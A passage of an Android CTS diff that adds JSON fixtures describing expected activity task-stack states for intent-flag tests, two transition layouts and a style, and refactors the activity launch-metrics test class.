+ "comment": "relinquishTaskIdentity does not allow changing the root affinity of the task - ag/548224",
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ },
+ {
+ "flags": "",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "STOPPED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_new_task_with_different_affinity-new_task.json b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_new_task_with_different_affinity-new_task.json
new file mode 100644
index 0000000..cd6a3a4
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_new_task_with_different_affinity-new_task.json
@@ -0,0 +1,66 @@
+{
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ },
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ]
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_new_task_with_same_affinity-same_task.json b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_new_task_with_same_affinity-same_task.json
new file mode 100644
index 0000000..999ee82
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_new_task_with_same_affinity-same_task.json
@@ -0,0 +1,58 @@
+{
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_same_task_with_different_affinity-same_task.json b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_same_task_with_different_affinity-same_task.json
new file mode 100644
index 0000000..d0ec60c
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_same_task_with_different_affinity-same_task.json
@@ -0,0 +1,58 @@
+{
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/reorderToFront/reorder-to-front.json b/tests/framework/base/windowmanager/intent_tests/reorderToFront/reorder-to-front.json
new file mode 100644
index 0000000..9daaa0f
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/reorderToFront/reorder-to-front.json
@@ -0,0 +1,96 @@
+{
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ },
+ {
+ "flags": "",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ },
+ {
+ "flags": "",
+ "class": "android.server.wm.intent.Activities$TaskAffinity2Activity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ },
+ {
+ "flags": "",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "FLAG_ACTIVITY_REORDER_TO_FRONT",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity2Activity",
+ "state": "STOPPED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "STOPPED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "STOPPED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity2Activity",
+ "state": "STOPPED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/reorderToFront/reorder-to-front_with_new-task_on_different_affinity.json b/tests/framework/base/windowmanager/intent_tests/reorderToFront/reorder-to-front_with_new-task_on_different_affinity.json
new file mode 100644
index 0000000..ab9ae9b
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/reorderToFront/reorder-to-front_with_new-task_on_different_affinity.json
@@ -0,0 +1,95 @@
+{
+ "comment": "A new activity should be created on a new task, without interfering the activity order of caller's task.",
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ },
+ {
+ "flags": "",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ },
+ {
+ "flags": "",
+ "class": "android.server.wm.intent.Activities$TaskAffinity2Activity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_REORDER_TO_FRONT",
+ "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity2Activity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "STOPPED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity2Activity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+ },
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity2Activity",
+ "state": "STOPPED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+ "state": "STOPPED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ]
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/reset-task.json b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/reset-task.json
new file mode 100644
index 0000000..5d5aae5
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/reset-task.json
@@ -0,0 +1,58 @@
+{
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "FLAG_ACTIVITY_RESET_TASK_IF_NEEDED",
+ "class": "android.server.wm.intent.Activities$NoHistoryActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$NoHistoryActivity",
+ "state": "RESUMED"
+ },
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "STOPPED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$NoHistoryActivity"
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/reset-task_with_new-task.json b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/reset-task_with_new-task.json
new file mode 100644
index 0000000..c059027
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/reset-task_with_new-task.json
@@ -0,0 +1,54 @@
+{
+ "setup": {
+ "initialIntents": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK",
+ "class": "android.server.wm.intent.Activities$RegularActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ],
+ "act": [
+ {
+ "flags": "FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_RESET_TASK_IF_NEEDED",
+ "class": "android.server.wm.intent.Activities$NoHistoryActivity",
+ "package": "android.server.wm.cts",
+ "startForResult": false
+ }
+ ]
+ },
+ "initialState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ }
+ ]
+ },
+ "endState": {
+ "stacks": [
+ {
+ "tasks": [
+ {
+ "activities": [
+ {
+ "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+ "state": "RESUMED"
+ }
+ ]
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ }
+ ]
+ }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-1.json b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-1.json
index 601134c..2cf1652 100644
--- a/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-1.json
+++ b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-1.json
@@ -55,7 +55,12 @@
"state": "RESUMED"
}
]
- },
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ },
+ {
+ "tasks": [
{
"activities": [
{
@@ -64,8 +69,7 @@
}
]
}
- ],
- "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ ]
}
]
}
diff --git a/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-3.json b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-3.json
index 7364d63..c89cdd3 100644
--- a/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-3.json
+++ b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-3.json
@@ -73,7 +73,12 @@
"state": "RESUMED"
}
]
- },
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ },
+ {
+ "tasks": [
{
"activities": [
{
@@ -82,8 +87,7 @@
}
]
}
- ],
- "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ ]
},
{
"tasks": [
diff --git a/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-4.json b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-4.json
index 62c1441..d8f3f7f 100644
--- a/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-4.json
+++ b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-4.json
@@ -65,7 +65,12 @@
"state": "RESUMED"
}
]
- },
+ }
+ ],
+ "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ },
+ {
+ "tasks": [
{
"activities": [
{
@@ -78,8 +83,7 @@
}
]
}
- ],
- "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+ ]
}
]
}
diff --git a/tests/framework/base/windowmanager/res/layout/transition_destination_layout.xml b/tests/framework/base/windowmanager/res/layout/transition_destination_layout.xml
new file mode 100644
index 0000000..b7b4e3d
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/layout/transition_destination_layout.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <ImageView
+ android:id="@+id/transitionView"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:transitionName="sharedTransition"
+ android:src="@android:drawable/ic_media_play"/>
+
+</LinearLayout>
+
diff --git a/tests/framework/base/windowmanager/res/layout/transition_source_layout.xml b/tests/framework/base/windowmanager/res/layout/transition_source_layout.xml
new file mode 100644
index 0000000..7612430
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/layout/transition_source_layout.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <ImageView
+ android:id="@+id/transitionView"
+ android:layout_width="200dp"
+ android:layout_height="200dp"
+ android:transitionName="sharedTransition"
+ android:src="@android:drawable/ic_media_play" />
+
+</LinearLayout>
+
diff --git a/tests/framework/base/windowmanager/res/values/styles.xml b/tests/framework/base/windowmanager/res/values/styles.xml
index a3de74e..c315745 100644
--- a/tests/framework/base/windowmanager/res/values/styles.xml
+++ b/tests/framework/base/windowmanager/res/values/styles.xml
@@ -31,4 +31,7 @@
<item name="android:windowContentTransitions">false</item>
<item name="android:windowAnimationStyle">@null</item>
</style>
+ <style name="window_activity_transitions" parent="@android:style/Theme.DeviceDefault">
+ <item name="android:windowActivityTransitions">true</item>
+ </style>
</resources>
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
index b827353..7e1e303 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
@@ -17,20 +17,21 @@
package android.server.wm;
import static android.os.SystemClock.sleep;
-import static android.server.wm.UiDeviceUtils.pressBackButton;
-import static android.server.wm.UiDeviceUtils.pressHomeButton;
-import static android.server.wm.UiDeviceUtils.waitForDeviceIdle;
+import static android.server.wm.ActivityManagerState.STATE_STOPPED;
import static android.server.wm.app.Components.ENTRY_POINT_ALIAS_ACTIVITY;
import static android.server.wm.app.Components.NO_DISPLAY_ACTIVITY;
import static android.server.wm.app.Components.REPORT_FULLY_DRAWN_ACTIVITY;
import static android.server.wm.app.Components.SINGLE_TASK_ACTIVITY;
import static android.server.wm.app.Components.TEST_ACTIVITY;
import static android.server.wm.app.Components.TRANSLUCENT_TEST_ACTIVITY;
+import static android.server.wm.app.Components.TRANSLUCENT_TOP_ACTIVITY;
+import static android.server.wm.app.Components.TopActivity.EXTRA_FINISH_IN_ON_CREATE;
import static android.server.wm.second.Components.SECOND_ACTIVITY;
import static android.server.wm.third.Components.THIRD_ACTIVITY;
import static android.util.TimeUtils.formatDuration;
import static com.android.internal.logging.nano.MetricsProto.MetricsEvent.APP_TRANSITION;
+import static com.android.internal.logging.nano.MetricsProto.MetricsEvent.APP_TRANSITION_CANCELLED;
import static com.android.internal.logging.nano.MetricsProto.MetricsEvent.APP_TRANSITION_DELAY_MS;
import static com.android.internal.logging.nano.MetricsProto.MetricsEvent.APP_TRANSITION_DEVICE_UPTIME_SECONDS;
import static com.android.internal.logging.nano.MetricsProto.MetricsEvent.APP_TRANSITION_REPORTED_DRAWN;
@@ -48,6 +49,7 @@
import static org.hamcrest.Matchers.greaterThanOrEqualTo;
import static org.hamcrest.Matchers.lessThanOrEqualTo;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.fail;
@@ -58,9 +60,11 @@
import android.metrics.MetricsReader;
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
+import android.server.wm.CommandSession.ActivitySessionClient;
import android.support.test.metricshelper.MetricsAsserts;
import android.util.EventLog.Event;
+
import androidx.test.filters.FlakyTest;
import com.android.compatibility.common.util.SystemUtil;
@@ -73,6 +77,7 @@
import java.util.List;
import java.util.Queue;
import java.util.concurrent.TimeUnit;
+import java.util.function.IntConsumer;
/**
* CTS device tests for {@link com.android.server.wm.ActivityMetricsLogger}.
@@ -82,6 +87,7 @@
@Presubmit
public class ActivityMetricsLoggerTests extends ActivityManagerTestBase {
private static final String TAG_ATM = "ActivityTaskManager";
+ private static final int EVENT_WM_ACTIVITY_LAUNCH_TIME = 30009;
private final MetricsReader mMetricsReader = new MetricsReader();
private long mPreUptimeMs;
private LogSeparator mLogSeparator;
@@ -101,18 +107,15 @@
* - am_activity_launch_time event is generated
* In all three cases, verify the delay measurements are the same.
*/
+ @FlakyTest(bugId = 143855645)
@Test
public void testAppLaunchIsLogged() {
- getLaunchActivityBuilder()
- .setUseInstrumentation()
- .setTargetActivity(TEST_ACTIVITY)
- .setWaitForLaunched(true)
- .execute();
+ launchAndWaitForActivity(TEST_ACTIVITY);
final LogMaker metricsLog = getMetricsLog(TEST_ACTIVITY, APP_TRANSITION);
final String[] deviceLogs = getDeviceLogsForComponents(mLogSeparator, TAG_ATM);
final List<Event> eventLogs = getEventLogsForComponents(mLogSeparator,
- 30009 /* AM_ACTIVITY_LAUNCH_TIME */);
+ EVENT_WM_ACTIVITY_LAUNCH_TIME);
final long postUptimeMs = SystemClock.uptimeMillis();
assertMetricsLogs(TEST_ACTIVITY, APP_TRANSITION, metricsLog, mPreUptimeMs, postUptimeMs);
@@ -158,18 +161,24 @@
private void assertEventLogsContainsLaunchTime(List<Event> events, ComponentName componentName,
int windowsDrawnDelayMs) {
- for (Event event : events) {
- Object[] arr = (Object[]) event.getData();
+ verifyLaunchTimeEventLogs(events, componentName,
+ delay -> assertEquals("Unexpected windows drawn delay for " + componentName,
+ delay, windowsDrawnDelayMs));
+ }
+
+ private void verifyLaunchTimeEventLogs(List<Event> launchTimeEvents,
+ ComponentName componentName, IntConsumer launchTimeVerifier) {
+ for (Event event : launchTimeEvents) {
+ final Object[] arr = (Object[]) event.getData();
assertEquals(4, arr.length);
final String name = (String) arr[2];
- final int delay = (int) arr[3];
+ final int launchTime = (int) arr[3];
if (name.equals(componentName.flattenToShortString())) {
- assertEquals("Unexpected windows drawn delay for " + componentName,
- delay, windowsDrawnDelayMs);
+ launchTimeVerifier.accept(launchTime);
return;
}
}
- fail("Could not find am_activity_launch_time for " + componentName);
+ fail("Could not find wm_activity_launch_time for " + componentName);
}
/**
@@ -179,13 +188,10 @@
* In both cases verify fully drawn delay measurements are equal.
* See {@link Activity#reportFullyDrawn()}
*/
+ @FlakyTest(bugId = 143855645)
@Test
public void testAppFullyDrawnReportIsLogged() {
- getLaunchActivityBuilder()
- .setUseInstrumentation()
- .setTargetActivity(REPORT_FULLY_DRAWN_ACTIVITY)
- .setWaitForLaunched(true)
- .execute();
+ launchAndWaitForActivity(REPORT_FULLY_DRAWN_ACTIVITY);
// Sleep until activity under test has reported drawn (after 500ms)
sleep(1000);
@@ -214,16 +220,21 @@
* totalTime is set correctly. Make sure the reported value is consistent with value reported to
* metrics logs. Verify we output the correct launch state.
*/
+ @FlakyTest(bugId = 143855645)
@Test
- @FlakyTest(bugId = 130764822)
public void testAppWarmLaunchSetsWaitResultDelayData() {
- SystemUtil.runShellCommand("am start -S -W " + TEST_ACTIVITY.flattenToShortString());
-
- // Test warm launch
- pressBackButton();
- waitForDeviceIdle(1000);
+ try (ActivitySessionClient client = createActivitySessionClient()) {
+ client.startActivity(getLaunchActivityBuilder()
+ .setUseInstrumentation()
+ .setTargetActivity(TEST_ACTIVITY)
+ .setWaitForLaunched(true));
+ separateTestJournal();
+ // The activity will be finished when closing the session client.
+ }
+ assertActivityDestroyed(TEST_ACTIVITY);
mMetricsReader.checkpoint(); // clear out old logs
+ // This is warm launch because its process should be alive after the above steps.
final String amStartOutput = SystemUtil.runShellCommand(
"am start -W " + TEST_ACTIVITY.flattenToShortString());
@@ -251,14 +262,14 @@
* totalTime is set correctly. Make sure the reported value is consistent with value reported to
* metrics logs. Verify we output the correct launch state.
*/
+ @FlakyTest(bugId = 143855645)
@Test
- @FlakyTest(bugId = 130764822)
public void testAppHotLaunchSetsWaitResultDelayData() {
SystemUtil.runShellCommand("am start -S -W " + TEST_ACTIVITY.flattenToShortString());
// Test hot launch
- pressHomeButton();
- waitForDeviceIdle(1000);
+ launchHomeActivityNoWait();
+ waitAndAssertActivityState(TEST_ACTIVITY, STATE_STOPPED, "Activity should be stopped");
mMetricsReader.checkpoint(); // clear out old logs
final String amStartOutput = SystemUtil.runShellCommand(
@@ -275,9 +286,8 @@
assertThat("did not find component in am start output.", amStartOutput,
containsString(TEST_ACTIVITY.flattenToShortString()));
- // TODO (b/120981435) use ActivityMetricsLogger to populate hot launch times
- // assertThat("did not find windows drawn delay time in am start output.", amStartOutput,
- // containsString(Integer.toString(windowsDrawnDelayMs)));
+ assertThat("did not find windows drawn delay time in am start output.", amStartOutput,
+ containsString(Integer.toString(windowsDrawnDelayMs)));
assertThat("did not find launch state in am start output.", amStartOutput,
containsString("HOT"));
@@ -288,8 +298,8 @@
* totalTime is set correctly. Make sure the reported value is consistent with value reported to
* metrics logs. Verify we output the correct launch state.
*/
+ @FlakyTest(bugId = 143855645)
@Test
- @FlakyTest(bugId = 130764822)
public void testAppColdLaunchSetsWaitResultDelayData() {
final String amStartOutput = SystemUtil.runShellCommand(
"am start -S -W " + TEST_ACTIVITY.flattenToShortString());
@@ -317,30 +327,20 @@
* receive a windows drawn message.
* see b/117148004
*/
+ @FlakyTest(bugId = 143855645)
@Test
public void testLaunchOfVisibleApp() {
// Launch an activity.
- getLaunchActivityBuilder()
- .setUseInstrumentation()
- .setTargetActivity(SECOND_ACTIVITY)
- .setWaitForLaunched(true)
- .execute();
+ launchAndWaitForActivity(SECOND_ACTIVITY);
// Launch a translucent activity on top.
